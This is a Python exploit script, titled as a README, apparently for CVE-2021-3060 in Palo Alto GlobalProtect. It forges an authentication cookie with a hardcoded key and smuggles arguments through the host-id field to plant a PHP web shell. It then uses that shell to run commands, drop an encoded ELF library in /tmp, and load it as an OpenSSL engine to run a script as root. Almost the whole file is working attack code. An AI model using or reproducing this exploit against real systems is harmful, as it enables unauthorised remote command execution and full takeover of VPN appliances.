README.md
Rendering markdown...
from hashlib import md5, sha1
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
import base64
import sys
import time
import requests
DEFAULT_MASTERKEY = b'p1a2l3o4a5l6t7o8'
lib = base64.b64decode("f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAAgAAAAYAAAAYAAAAAAAAAFgAAAAAAAAAcnF1ICgtOAACADH2Vki7L3RtcC9oYXhTVF/37rA7DwUBAAAABwAAAAUAAAAAAAAABQAAAAAAAAAMAAAAAAAAADoAAAAAAAAABgAAAAAAAAAAAAAAAAAAAA==")
cmd = """#!/bin/bash
id>/var/appweb/sslvpndocs/test
"""
class PanCrypt:
def __init__(self, key=DEFAULT_MASTERKEY):
backend = default_backend()
key = self._derivekey(key)
self.c = Cipher(algorithms.AES(key), modes.CBC(b'\0' * 16), backend=backend)
def _derivekey(self, key):
salt = b'\x75\xb8\x49\x83\x90\xbc\x2a\x65\x9c\x56\x93\xe7\xe5\xc5\xf0\x24' # md5("pannetwork")
return md5(key + salt).digest() * 2
def _pad(self, d):
plen = 16 - (len(d) % 16)
return d + bytes([plen] * plen)
def _encrypt(self, data):
e = self.c.encryptor()
return e.update(self._pad(data)) + e.finalize()
def encrypt(self, data):
v = base64.b64encode(b'AQ==') # version 1
hash = base64.b64encode(sha1(data).digest())
ct = base64.b64encode(self._encrypt(data))
return b'-' + v + hash + ct
def scepRequest(host, spn, hostid, email="[email protected]", user="test"):
expiry = bytes(str(int(time.time()) + 1000000), 'utf-8')
user_bytes = user.encode('utf-8') # Convert user to bytes
hostid_bytes = hostid.encode('utf-8') # Convert hostid to bytes
token_pt = b":".join((expiry, user_bytes, hostid_bytes))
token = PanCrypt().encrypt(token_pt)
payload = "scep-profile-name={}&user-email={}&user={}&host-id={}&appauthcookie={}".format(spn, email, user, hostid, token.decode('utf-8'))
r = requests.get(host, data=payload, headers={"content-type": "application/x-www-form-urlencoded"}, verify=False)
return r
def makewebshell(host, spn):
# webshell created: execute commands as `nobody` with GET /a.php?0=cmd
hostid = 'test" "-e" "yes" "-h" "<?php passthru\\(\\$_GET[0]\\);?>" "-c" "RSA:512 -text -out /var/appweb/sslvpndocs/a.php'
return scepRequest(host + "/sslmgr", spn, hostid)
def runcmd(host, cmd):
# run a command with the low-priv webshell
cmd = requests.utils.quote(cmd)
return requests.get(host + "/a.php?0=" + cmd, verify=False)
def runlib(host, spn):
# load /tmp/lib.so as an openssl engine, with openssl running as root
hostid = 'test" "-e" "yes" "-m" "sha1 -engine /tmp/lib.so'
return scepRequest(host + "/sslmgr", spn, hostid)
if __name__ == "__main__":
if len(sys.argv) < 3:
print("usage: cve-2021-3060.py <host> <scep profile name>")
host = sys.argv[1]
spn = sys.argv[2]
if len(sys.argv) > 2:
spn = sys.argv[2]
if "http" not in host:
host = "https://" + host
makewebshell(host, spn)
print(runcmd(host, "id").text)
runcmd(host, "echo {}|base64 -d>/tmp/lib.so".format(lib))
#runcmd(host, "echo {}|base64 -d>/tmp/hax".format(cmd.decode('utf-8')))
runcmd(host, "echo {}|base64 -d>/tmp/hax".format(cmd))
runcmd(host, "chmod 777 /tmp/hax")
runlib(host, spn)
print(requests.get(host + "/test", verify=False).text)